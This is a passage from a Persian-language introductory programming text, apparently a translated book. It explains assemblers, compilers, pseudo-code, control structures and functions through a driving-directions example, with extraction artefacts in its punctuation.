ﺑﯽ ﺷﻤﺎر دﯾﮕﺮی را ﺑﺪاﻧﺪ .ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در ﭼﻨﯿﻦ ﺷﺮاﯾﻄﯽ ﺳﺨﺖ و ﻃﺎﻗﺖ ﻓﺮﺳﺎ و ﻣﺴﺌﻠﻪ ﻧﮕـﺮش در آن وﺟـﻮد ﻧـﺪارد
)ﯾﻌﻨﯽ ﺑﻪ ﺻﻮرت ﻣﺴﺘﻘﯿﻢ اﻣﮑﺎن درک و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﺑﺎ ﮐﺎرﮐﺮدﻫﺎی ﭘﯿﭽﯿﺪه ﺗﺮ وﺟﻮد ﻧﺪارد(.
ﻣﺎﻫﯿــﺖ ﻣــﻮرد ﻧﯿــﺎز ﺟﻬــﺖ ﭼﯿﺮﮔــﯽ ﺑــﺮ ﭘﯿﭽﯿــﺪﮔﯽ ﻧﻮﺷــﺘﻦ زﺑــﺎن ﻣﺎﺷــﯿﻦ ،ﻣﺘــﺮﺟﻢ ) (translatorاﺳــﺖ .ﯾــﮏ اﺳــﻤﺒﻠﺮ
) (assemblerﯾﮏ ﻧﻮع ﻣﺘﺮﺟﻢ زﺑﺎن ﻣﺎﺷﯿﻦ اﺳﺖ؛ ﺑﺮﻧﺎﻣﻪ ای ﮐﻪ زﺑﺎن اﺳﻤﺒﻠﯽ ) (assemblyرا ﺑﻪ ﮐﺪﻫﺎی ﻗﺎﺑﻞ ﺧﻮاﻧﺪن
و ﻓﻬﻢ ﺑﺮای ﻣﺎﺷﯿﻦ ) (machine-readableﺗﺒﺪﯾﻞ ﻣﯽ ﮐﻨﺪ .زﺑﺎن اﺳﻤﺒﻠﯽ ،ﺑﻪ دﻟﯿﻞ اﺳﺘﻔﺎده از ﻧﺎم ﻫﺎ ﺑﺮای دﺳـﺘﻮرات و
ﻣﺘﻐﯿﺮﻫﺎی ﻣﺨﺘﻠﻒ ،ﮐﻢ رﻣﺰ و راز ﺗﺮ از زﺑﺎن ﻣﺎﺷﯿﻦ اﺳﺖ ﮐﻪ ﻓﻘﻂ از اﻋﺪاد )ﺻﻔﺮ و ﯾﮏ( اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .ﺑﺎ اﯾـﻦ وﺟـﻮد
زﺑﺎن اﺳﻤﺒﻠﯽ ﻧﯿﺰ ﻫﻨﻮز دور از درک ﻣﺴﺘﻘﯿﻢ اﺳﺖ .ﻧﺎم دﺳﺘﻮرﻫﺎ در زﺑﺎن اﺳﻤﺒﻠﯽ ﺑﺴﯿﺎر ﻣـﺒﻬﻢ اﺳـﺖ )اﻟﺒﺘـﻪ روش ﻫـﺎﯾﯽ
ﺑﺮای ﻏﻠﺒﻪ ﺑﺮ اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارﻧﺪ( و ﺧﻮد اﯾﻦ زﺑﺎن ﻧﯿﺰ واﺑﺴﺘﻪ ﺑﻪ ﻣﻌﻤﺎری ﭘﺮدازﻧـﺪه 5اﺳـﺖ .ﯾﻌﻨـﯽ ﻫﻤـﺎن ﻃـﻮر ﮐـﻪ
زﺑﺎن ﻣﺎﺷﯿﻦ در ﭘﺮدازﻧﺪه اﯾﻨﺘﻞ x86ﺑﺎ زﺑﺎن ﻣﺎﺷﯿﻦ در ﭘﺮدازﻧﺪه Sparcﻣﺘﻔﺎوت اﺳﺖ ،زﺑﺎن اﺳـﻤﺒﻠﯽ x86ﻧﯿـﺰ ﺑـﺎ زﺑـﺎن
اﺳﻤﺒﻠﯽ Sparcﻣﺘﻔﺎوت ﺧﻮاﻫﺪ ﺑﻮد .ﺑﺮﻧﺎﻣﻪ اﺳﻤﺒﻠﯽ ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه روی دﯾﮕﺮ ﻣﻌﻤﺎری ﻫﺎی ﮐـﺎر
ﻧﺨﻮاﻫﺪ ﮐﺮد .اﮔﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ در زﺑﺎن اﺳﻤﺒﻠﯽ x86ﻧﻮﺷﺘﻪ ﺷـﺪه ﺑﺎﺷـﺪ ،ﺑـﺮای اﺟـﺮا روی ﻣﻌﻤـﺎری Sparcﺑﺎﯾـﺪ ﻣﺠـﺪدا
ﺑﺎزﻧﻮﯾﺴﯽ ﺷﻮد .ﺑﻌﻼوه ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﻮﺛﺮ در زﺑﺎن اﺳﻤﺒﻠﯽ ،ﺷﺨﺺ ﺑﺎﯾﺪ ﺟﺰﺋﯿﺎت ﺳﻄﺢ ﭘـﺎﺋﯿﻦ ﺑـﺴﯿﺎری را از
ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه ﺑﺪاﻧﺪ.
5
Architecture-Specific
10
اﯾﻦ ﻣﺸﮑﻼت را ﻣﯽ ﺗﻮان ﺑﻮﺳﯿﻠﻪ ﻧﻮع دﯾﮕﺮی از ﻣﺘﺮﺟﻢ ﻫﺎ ﺑﺎ ﻧﺎم ﮐﺎﻣﭙﺎﯾﻠﺮ ) (compilerرﻓﻊ ﮐـﺮد .ﮐﺎﻣﭙـﺎﯾﻠﺮ ﯾـﮏ زﺑـﺎن
ﺳﻄﺢ ﺑﺎﻻ 6را ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺗﺒﺪﯾﻞ ﻣﯽ ﮐﻨﺪ .زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﺧﺎﺻﯿﺖ درک ﻣﺴﺘﻘﯿﻢ ﺑﯿﺸﺘﺮی ﻧﺴﺒﺖ ﺑﻪ زﺑﺎن اﺳﻤﺒﻠﯽ
دارﻧﺪ و ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ اﻧﻮاع ﮔﻮﻧﺎﮔﻮﻧﯽ از زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﻣﻌﻤﺎری ﻫﺎی ﻣﺨﺘﻠﻒ ﭘﺮدازﻧﺪه ﺗﺒﺪﯾﻞ ﺷﻮﻧﺪ .در اﯾﻦ ﺻـﻮرت
اﮔﺮ ﺑﺮﻧﺎﻣﻪ ای در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻧﻮﺷﺘﻪ ﺷﻮد ،ﻓﻘﻂ ﯾﮏ ﺑﺎر ﻧﯿﺎز ﺑﻪ ﻧﻮﺷﺘﻦ دارد ،ﭼﺮا ﮐﻪ ﻫﻤﺎن ﻗﻄﻌﻪ ﮐﺪ را ﻣﯽ ﺗـﻮان
ﺑﺎ ﯾﮏ ﮐﺎﻣﭙﺎﯾﻠﺮ ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﻣﻌﻤﺎری ﻫﺎی ﻣﺨﺘﻠﻒ ﺗﺮﺟﻤـﻪ )ﮐﺎﻣﭙﺎﯾـﻞ( ﮐـﺮد C++ ،C .و FORTRANاز ﺟﻤﻠـﻪ
زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﻫﺴﺘﻨﺪ.
ﻧﺴﺒﺖ ﺑﻪ زﺑﺎن اﺳﻤﺒﻠﯽ ﯾﺎ ﻣﺎﺷﯿﻦ ،ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻗﺎﺑﻞ ﺧﻮاﻧﺪن ﺑﺎﻻﺗﺮی دارد و ﺑـﺴﯿﺎر ﺑـﻪ
زﺑﺎن اﻧﮕﻠﯿﺴﯽ ﺷﺒﯿﻪ اﺳﺖ .اﻣﺎ ﺑﺎ اﯾﻦ ﺣﺎل ﻫﻨﻮز ﺑﺎﯾﺪ از ﻗﻮاﻧﯿﻦ ﺳﺮﺳﺨﺘﺎﻧﻪ در ﻧﻮﺷﺘﻦ دﺳﺘﻮرﻫﺎ ﭘﯿﺮوی ﺷـﻮد ) ،(syntaxو
در ﻏﯿﺮ اﯾﻦ ﺻﻮرت ﮐﺎﻣﭙﺎﯾﻠﺮ ﻗﺎدر ﺑﻪ ﻓﻬﻢ آن ﻧﺨﻮاﻫﺪ ﺑﻮد.
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻫﺎ ﮔﻮﻧﻪ ای از زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را در اﺧﺘﯿﺎر دارﻧﺪ ﮐﻪ از آن ﺗﺤﺖ ﻋﻨﻮان ﺷـﺒﻪ-ﮐـﺪ )(Pseudo-Code
ﯾﺎد ﻣﯽ ﺷﻮد .ﺷﺒﻪ ﮐﺪ ﺗﻘﺮﯾﺒﺎ ﻣﺎﻧﻨﺪ اﻟﮕﻮرﯾﺘﻢ ﻧﻮﯾﺴﯽ اﺳﺖ و در آن ﮐﻠﻤﺎت و ﺟﻤﻼت ﺑﺎ زﺑـﺎن اﻧﮕﻠﯿـﺴﯽ ﯾـﺎ زﺑـﺎن ﻣـﺎدری
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و ﺑﺎ ﺳﺎﺧﺘﺎری ﻣﺸﺎﺑﻪ ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻣﺮﺗﺐ ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ زﺑﺎن را ﻫﯿﭻ ﮐﺪام از ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ ﯾﺎ اﺳﻤﺒﻠﺮﻫﺎ
ﯾﺎ ﺣﺘﯽ ﺧﻮد ﮐﺎﻣﭙﯿﻮﺗﺮ ﻧﻤﯽ ﺷﻨﺎﺳﻨﺪ )ﭘﺲ در ﺣﻘﯿﻘﺖ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﯿﺴﺖ( .اﻣـﺎ ﺑـﺮای ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﺎن راه ﻣﻔﯿـﺪی
اﺳﺖ ﺟﻬﺖ ﻣﺮﺗﺐ ﮐﺮدن و ﺳﺎزﻣﺎﻧﺪﻫﯽ ﮐﺮدن دﺳﺘﻮرات )ﺟﻤﻼت( .ﺷﺒﻪ ﮐﺪ ﺑﻪ درﺳﺘﯽ درک ﻧـﺸﺪه اﺳـﺖ و ﺑـﺴﯿﺎری از
اﻓﺮاد ﺷﺒﻪ ﮐﺪ را ﺑﺎ ﮐﻤﯽ ﺗﻔﺎوت ﻣﯽ ﻧﻮﯾﺴﻨﺪ ،ﯾﻌﻨﯽ ﻫﺮ ﮐﺲ ﯾﮏ ﺷﺒﻪ ﮐﺪ ﻣﯽ ﻧﻮﯾﺴﺪ ﮐﻪ ﻓﻘﻂ ﺑﺮای ﺧﻮدش ﻗﺎﺑﻞ ﻓﻬﻢ ﺑﺎﺷﺪ
)اﻣﺎ ﺑﻪ ﻫﺮ ﺣﺎل ﯾﮏ ﺷﺒﻪ ﮐﺪ اﺳﺖ( .اﯾﻦ زﺑﺎن ﺑﻪ ﻋﻨﻮان ﯾﮏ واﺳﻂ ﺑﯿﻦ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ )ﻣﺜﻞ اﻧﮕﻠﯿﺴﯽ ،ﭘﺎرﺳﯽ ﯾﺎ (...و
ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ )ﻣﺜﻞ (Cﻋﻤﻞ ﻣﯽ ﮐﻨﺪ .دﺳﺘﻮراﻟﻌﻤﻞ ﻫﺎی راﻧﻨﺪﮔﯽ ﮐﻪ در ﺑﺎﻻ ﯾﺎد ﺷﺪ ،اﯾﻨﮏ ﺑﻪ ﻓﺮم ﺷﺒﻪ ﮐـﺪ ﺗﺒـﺪﯾﻞ
ﺷﺪه اﻧﺪ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺎﺷﺪ:
;Begin going east on Main street
)Until (there is a church on the right
{
;Drive down Main
}
)If (street is blocked
{
;)Turn(right, 15th street
;)Turn(left, Pine street
;)Turn(right, 16th street
}
else
{
;)Turn(right, 16th street
}
;)Turn(left, Destination Road
)For (5 iterations
{
;Drive straight for 1 mile
}
;Stop at 743 Destination Road
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ ذﮐﺮ ﺷﺪ ﻫﺮ ﻓﺮد ﻣﯽ ﺗﻮاﻧﺪ در ﺷﺒﻪ ﮐﺪ از زﺑﺎن ﻣﺎدری ﺧﻮد ﻧﯿﺰ اﺳﺘﻔﺎده ﮐﻨﺪ .ﺑﻨـﺎﺑﺮاﯾﻦ ﺷـﺎﯾﺪ ﺟﻤـﻼت
ﻓﻮق ﺑﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ اﯾﺮاﻧﯽ )ﺑﺎ زﺑﺎن ﭘﺎرﺳﯽ( ﺑﻪ ﺷﮑﻞ زﯾﺮ ﺑﺎﺷﺪ:
در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺑﻪ ﺳﻤﺖ ﺷﺮق ﺑﺮو؛
ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ )در ﺳﻤﺖ راﺳﺖ ﯾﮏ ﮐﻠﯿﺴﺎ دﯾﺪه ﻣﯽ ﺷﻮد(
}
در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺣﺮﮐﺖ ﮐﻦ؛
6
)High Level Language (HLL
11
{
اﮔﺮ )ﺟﺎده ﻣﺴﺪود ﺷﺪه ﺑﻮد(
}
دور_ﺑﺰن)راﺳﺖ ،ﺧﯿﺎﺑﺎن ﭘﺎﻧﺰدﻫﻢ(؛
دور_ﺑﺰن)ﭼﭗ ،ﺧﯿﺎﺑﺎن ﮐﺎج(؛
دور_ﺑﺰن)راﺳﺖ ،ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ(؛
{
وﮔﺮﻧﻪ
}
دور_ﺑﺰن)راﺳﺖ ،ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ(؛
{
دور_ﺑﺰن)ﭼﭗ ،ﺟﺎده ﻣﻘﺼﺪ(؛
ﺑﺮای ) 5ﺑﺎر ﺗﮑﺮار(
}
ﺑﻪ ﻣﺴﺎﻓﺖ 1ﻣﺎﯾﻞ ﺑﻪ ﺳﻤﺖ ﻣﺴﺘﻘﯿﻢ ﺣﺮﮐﺖ ﮐﻦ؛
{
در ﺟﺎده ﻣﻘﺼﺪ 743ﺗﻮﻗﻒ ﮐﻦ؛
ﻫﻤﺎن ﻃﻮر ﮐﻪ در ﺟﻤﻼت ﻗﺒﻞ ذﮐﺮ ﺷﺪ )و اﺣﺘﻤﺎﻻ ﺑﺎ ﻧﮕﺎه ﺑﻪ ﺟﻤﻼت ﭘﺎرﺳﯽ ﻓﻮق درﯾﺎﻓﺘﯿﺪ( ،ﭼﻮن ارﺗﺒﺎط ﻧﺎﻣﺤﺴﻮﺳﯽ ﺑﯿﻦ
زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺳﻄﺢ ﺑﺎﻻ و زﺑﺎن اﻧﮕﻠﯿﺴﯽ وﺟﻮد دارد ،ﺑﻬﺘﺮ اﺳﺖ در ﻧﻮﺷﺘﻦ ﺷﺒﻪ ﮐﺪ از زﺑﺎن اﻧﮕﻠﯿﺴﯽ اﺳـﺘﻔﺎده
ﮐﻨﯿﻢ .ﭘﺮواﺿﺢ اﺳﺖ ﮐﻪ در اﯾﻦ ﻣﻮارد زﺑﺎن ﭘﺎرﺳﯽ ،آﻧﻄﻮر ﮐـﻪ ﺑﺎﯾـﺪ ،ﺑﻤﺎﻧﻨـﺪ زﺑـﺎن اﻧﮕﻠﯿـﺴﯽ ،ﮐـﺸﺶ و ﮐـﺎرآﯾﯽ ﻻزم را
ﻧﺪارد.
واﺿﺢ اﺳﺖ ﮐﻪ ﻫﺮ دﺳﺘﻮراﻟﻌﻤﻞ ﺑﻪ ﺧﻄﻮﻃﯽ ﺗﺒﺪﯾﻞ ﺷﺪه و روﻧﺪ اﺟﺮاﯾﯽ و ﮐﻨﺘﺮل ﻣﻨﻄﻘـﯽ آﻧﻬـﺎ ،ﺑـﻪ ﺳـﺎﺧﺘﺎرﻫﺎ و ﺗﺮﮐﯿـﺐ
ﻫﺎی ﮐﻨﺘﺮﻟﯽ واﮔﺬار ﺷﺪه اﺳﺖ .ﺑﺪون ﺳﺎﺧﺘﺎر ﻫﺎی ﮐﻨﺘﺮﻟﯽ ،ﺑﺮﻧﺎﻣﻪ ﺻـﺮﻓﺎ ﯾـﮏ ﺳـﺮی دﺳـﺘﻮرات ﻣﺘـﻮاﻟﯽ اﺳـﺖ )در آن
ﺗﺼﻤﯿﻢ ﮔﯿﺮی ،ﮐﻨﺘﺮل ﺣﻮادث و ﺷﺮط ﻫﺎی ﻣﻨﻄﻘﯽ و ...وﺟﻮد ﻧﺪارد( .اﻣﺎ دﺳﺘﻮراﻟﻌﻤﻞ ﻫﺎی راﻧﻨﺪﮔﯽ ﻣﺎ در ﻣﺜﺎل ﻓﻮق ،ﺑـﻪ
آن ﺳﺎدﮔﯽ ﻧﺒﻮدﻧﺪ .آﻧﻬﺎ ،ﺷﺎﻣﻞ ﺟﻤﻼﺗﯽ ﻣﺎﻧﻨﺪ ﻣﻮارد زﯾﺮ ﻫﺴﺘﻨﺪ:
"ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ در ﺳﻤﺖ راﺳﺖ ﯾﮏ ﮐﻠﯿﺴﺎ دﯾﺪه ﻣﯽ ﺷﻮد در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺣﺮﮐﺖ ﮐﻦ".
"اﮔﺮ ﺧﯿﺎﺑﺎن ﺑﻪ دﻟﯿﻞ ﺳﺎﺧﺖ و ﺳﺎز ﻣﺴﺪود ﺷﺪه اﺳﺖ ،آﻧﮕﺎه ."...
اﯾﻦ ﺟﻤﻼت ﺗﺤﺖ ﻋﻨﻮان ﺳﺎﺧﺘﺎرﻫﺎی ﮐﻨﺘﺮﻟﯽ ) (control structureﺷﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮﻧﺪ ﮐـﻪ روﻧـﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ را از
ﺣﺎﻟﺖ ﻣﺘﻮاﻟﯽ ﺑﻪ ﺟﺮﯾﺎﻧﯽ ﭘﯿﭽﯿﺪه ﺗﺮ و ﻣﻔﯿﺪ ﺗﺮ ﺗﺒﺪﯾﻞ ﻣﯽ ﺳﺎزد ﺑﻄﻮرﯾﮑـﻪ در آن اﻣﮑـﺎن اﻧﺘﺨـﺎب و ﮐﻨﺘـﺮل ﺣـﻮادث ﻧﯿـﺰ
وﺟﻮد دارد.
ﺑﻌﻼوه دﺳﺘﻮرات دور زدن ﻣﺎﺷﯿﻦ ﺑﺴﯿﺎر ﭘﯿﭽﯿﺪه ﺗﺮ از ﻋﺒﺎرت "در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑـﻪ ﺳـﻤﺖ راﺳـﺖ دور ﺑـﺰن اﺳـﺖ
)ﺑﭙﯿﭻ( ".دور زدن ﻣﺎﺷﯿﻦ ﺷﺎﻣﻞ ﻣﻮاردی ﻫﻤﭽﻮن ﺗﻌﯿﯿﻦ ﻣﺴﯿﺮ ﺻﺤﯿﺢ ﺟﻬﺖ دور زدن ،ﮐﻢ ﮐﺮدن ﺳﺮﻋﺖ ،روﺷﻦ ﮐﺮدن
ﭼﺮاغ راﻫﻨﻤﺎ ،ﭼﺮﺧﺎﻧﺪن ﻓﺮﻣﺎن ﻣﺎﺷﯿﻦ و ﻧﻬﺎﯾﺘﺎ اﻓﺰاﯾﺶ ﻣﺠﺪد ﺳـﺮﻋﺖ اﺳـﺖ .ﭼـﻮن ﺑـﺴﯿﺎری از اﯾـﻦ اﻋﻤـﺎل ﺑـﺮای ﻫـﺮ
ﺧﯿﺎﺑﺎن ﻣﻤﮑﻦ ﯾﮑﺴﺎن ﺑﻮده و ﺗﮑﺮار ﻣﯽ ﺷﻮﻧﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﺑﻪ ﺷﮑﻞ ﺗـﺎﺑﻊ ) (functionﭘﯿـﺎده ﺳـﺎزی ﮐـﺮد .ﺗـﺎﺑﻊ
ﻣﺠﻤﻮﻋﻪ ای از آرﮔﻮﻣﺎن ﻫﺎ را ﺑﻪ ﻋﻨﻮان ورودی ﻣﯽ ﭘﺬﯾﺮد ،ورودی را ﺑﺎ دﺳﺘﻮرات ﺧﻮد ﭘـﺮدازش ﻣـﯽ ﮐﻨـﺪ ،ﺳـﭙﺲ ﺑـﻪ
ﻣﺤﻠﯽ ﮐﻪ از آﻧﺠﺎ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه اﺳﺖ ﺑﺎز ﻣﯿﮕﺮدد .ﺗﺎﺑﻊ ﻣﺘﻨﺎﻇﺮ ﺑﺮای دور زدن ﻣﺎﺷﯿﻦ در ﻗﺎﻟﺐ ﺷﺒﻪ ﮐﺪ ﻣﯽ ﺗﻮاﻧﺪ ﭼﯿﺰی
ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺑﺎﺷﺪ:
)Function Turn(the_direction, the_street
{
;locate the_street
;slow down
12
)if(the_direction == right
{
;turn on the right blinker
;turn the steering wheel to the right
}
else
{
;turn on the left blinker
;turn the steering wheel to the left
}
speed back up
}
ﻣﺎﺷﯿﻦ ﺑﺎ اﺳﺘﻔﺎده ﻣﮑﺮر از اﯾﻦ ﺗﺎﺑﻊ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺪون ﻧﯿﺎز ﺑﻪ ﻧﻮﺷﺘﻦ دﺳﺘﻮرﻫﺎی ﺟﺰﺋﯽ در ﻫﺮ ﺑﺎر ،در ﻫﺮ ﺧﯿﺎﺑﺎن و در ﻫـﺮ
ﺟﻬﺘﯽ دور ﺑﺰﻧﺪ .ﻧﮑﺘﻪ ﻣﻬﻤﯽ ﮐﻪ ﺑﺎﯾﺪ ﺣﻮل ﺗﻮاﺑﻊ ﺑﻪ ﺧﺎﻃﺮ داﺷﺖ اﯾﻦ اﺳﺖ ﮐﻪ در ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ،روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣـﻪ ﺑـﻪ
ﻣﮑﺎن ﻣﺘﻔﺎوﺗﯽ ﺟﻬﺖ اﺟﺮای ﺗﺎﺑﻊ ﭘﺮش ﻣﯽ ﮐﻨﺪ ) (jumpو ﭘﺲ از ﭘﺎﯾﺎن اﺟﺮای ﺗﺎﺑﻊ ،ﺑﻪ ﺣﻠﯽ ﮐﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗـﺎﺑﻊ از آﻧﺠـﺎ
ﺻﻮرت ﮔﺮﻓﺘﻪ ﺑﻮد ﺑﺎز ﻣﯽ ﮔﺮدد.
آﺧﺮﯾﻦ ﻧﮑﺘﻪ راﺟﻊ ﺑﻪ ﺗﻮاﺑﻊ اﯾﻦ اﺳﺖ ﮐﻪ ﻫﺮ ﺗﺎﺑﻊ ﻣﻔﺎد ﯾﺎ زﻣﯿﻨﻪ ) (contextﻣﺮﺑـﻮط ﺑـﻪ ﺧـﻮد را دارد ،ﯾﻌﻨـﯽ ﻣﺘﻐﯿﺮﻫـﺎی
ﻣﺤﻠﯽ درون ﻫﺮ ﺗﺎﺑﻊ ﻣﻨﺤﺼﺮ ﺑﻪ ﺧﻮد آن ﺗﺎﺑﻊ اﺳﺖ .ﻫﺮ ﺗﺎﺑﻊ زﻣﯿﻨﻪ ﯾﺎ ﻣﺤﯿﻂ ) (environmentﻣﺨﺼﻮص ﺑـﻪ ﺧـﻮد دارد
ﮐﻪ در ﻗﺎﻟﺐ آن اﺟﺮا ﻣﯽ ﮔﺮدد .ﻫﺴﺘﻪ ﺑﺮﻧﺎﻣﻪ ،ﺧﻮد ﯾﮏ ﺗﺎﺑﻊ ﺑﺎ زﻣﯿﻨﻪ ﻣﺮﺑﻮط ﺑﻪ ﺧﻮد اﺳـﺖ و در ﺻـﻮرت ﻓﺮاﺧـﻮاﻧﯽ ﻫـﺮ
ﺗﺎﺑﻊ از اﯾﻦ ﺗﺎﺑﻊ اﺻﻠﯽ ،زﻣﯿﻨﻪ ای ﺟﺪﯾﺪ در ﺗﺎﺑﻊ اﺻﻠﯽ ﺑﺮای ﺗﺎﺑﻊ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه اﯾﺠـﺎد ﻣـﯽ ﮔـﺮدد .اﮔـﺮ ﺗـﺎﺑﻊ ﻓﺮاﺧـﻮاﻧﯽ
ﺷﺪه ،ﺗﺎﺑﻊ ﺟﺪﯾﺪ دﯾﮕﺮی را ﻓﺮاﺧﻮاﻧﯽ ﮐﻨﺪ ،زﻣﯿﻨﻪ ای ﺟﺪﯾﺪ درون زﻣﯿﻨﻪ ﺗﺎﺑﻊ ﻗﺒﻠﯽ ﺑﺮای آن اﯾﺠﺎد ﻣﯽ ﺷﻮد و اﯾـﻦ روﻧـﺪ
ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال اداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ .اﯾﻦ ﻻﯾﻪ ﺑﻨﺪی در زﻣﯿﻨﻪ ﻫﺎی ﺗﺎﺑﻌﯽ ،ﺑـﻪ ﻧـﻮﻋﯽ اﻣﮑـﺎن اَﺗﻤﯿـﮏ ﺑـﻮدن ) (atomicﺗﻮاﺑـﻊ را
ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد ،ﯾﻌﻨﯽ ﻫﺮ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﻫﺴﺘﻪ ای و ﻣﺘﻤﺮﮐﺰ و دارای ﻣﺎﻫﯿﺖ ﻣﺴﺘﻘﻞ از دﯾﮕﺮان اﺳﺖ.
ﺳﺎﺧﺘﺎرﻫﺎی ﮐﻨﺘﺮﻟﯽ و ﻣﻔﺎﻫﯿﻢ ﺗﺎﺑﻌﯽ ﻣﻮﺟﻮد در ﺷﺒﻪ ﮐﺪ در ﺑﺴﯿﺎری از زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﺨﺘﻠﻒ ﻧﯿﺰ وﺟـﻮد دارد.
ﻇﺎﻫﺮ و ﺳﺎﺧﺘﺎر ﺷﺒﻪ ﮐﺪ را ﻣﯽ ﺗﻮان ﺑﻪ ﻫﺮ ﺻﻮرﺗﯽ ﺗﻐﯿﯿﺮ داد ،اﻣﺎ ﺷﺒﻪ ﮐﺪﻫﺎی ﻗﺒﻠﯽ ﻃﻮری ﻧﻮﺷﺘﻪ ﺷﺪه ﺑﻮدﻧﺪ ﮐﻪ ﺑﻪ زﺑـﺎن
Cﺷﺒﺎﻫﺖ ﻧﺰدﯾﮑﯽ ﯾﺎﺑﻨﺪ و ﺑﻪ دﻟﯿﻞ ﻣﺤﺒﻮﺑﯿﺖ و ﮐﺎرﺑﺮد وﺳﯿﻊ زﺑﺎن ،Cاﯾﻦ ﺗﺸﺎﺑﻪ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد .در ﺣﻘﯿﻘﺖ ﺷﺎﻟﻮده
اﺻﻠﯽ ﻟﯿﻨﻮﮐﺲ و دﯾﮕﺮ ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻣﺪرن از ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﯾﻮﻧﯿﮑﺲ ﺑﻪ زﺑﺎن Cﻧﻮﺷـﺘﻪ ﺷـﺪه اﻧـﺪ .ﭼـﻮن ﻟﯿﻨـﻮﮐﺲ،
ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﮐﺪ-ﺑﺎز ﺑﺎ دﺳﺘﯿﺎﺑﯽ آﺳﺎن ﺑﻪ ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ ،اﺳﻤﺒﻠﺮﻫﺎ و دﯾﺒﺎﮔﺮﻫﺎ اﺳﺖ ،ﻟﺬا ﺑﻪ ﯾﮏ ﭘﻼﺗﻔـﺮم ﻋـﺎﻟﯽ ﺟﻬـﺖ
ﯾﺎدﮔﯿﺮی ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد .در اﯾﻦ ﮐﺘﺎب ﻓﺮض ﺑﺮ آن اﺳﺖ ﮐﻪ ﺗﻤﺎم ﻋﻤﻠﯿﺎت ﺑﺮ روی ﺳﯿﺴﺘﻤﯽ ﺑـﺎ ﯾـﮏ ﭘﺮدازﻧـﺪه ﻣﺒﺘﻨـﯽ
ﺑﺮ x86و ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻟﯿﻨﻮﮐﺲ اﻧﺠﺎم ﻣﯽ ﺷﻮد.
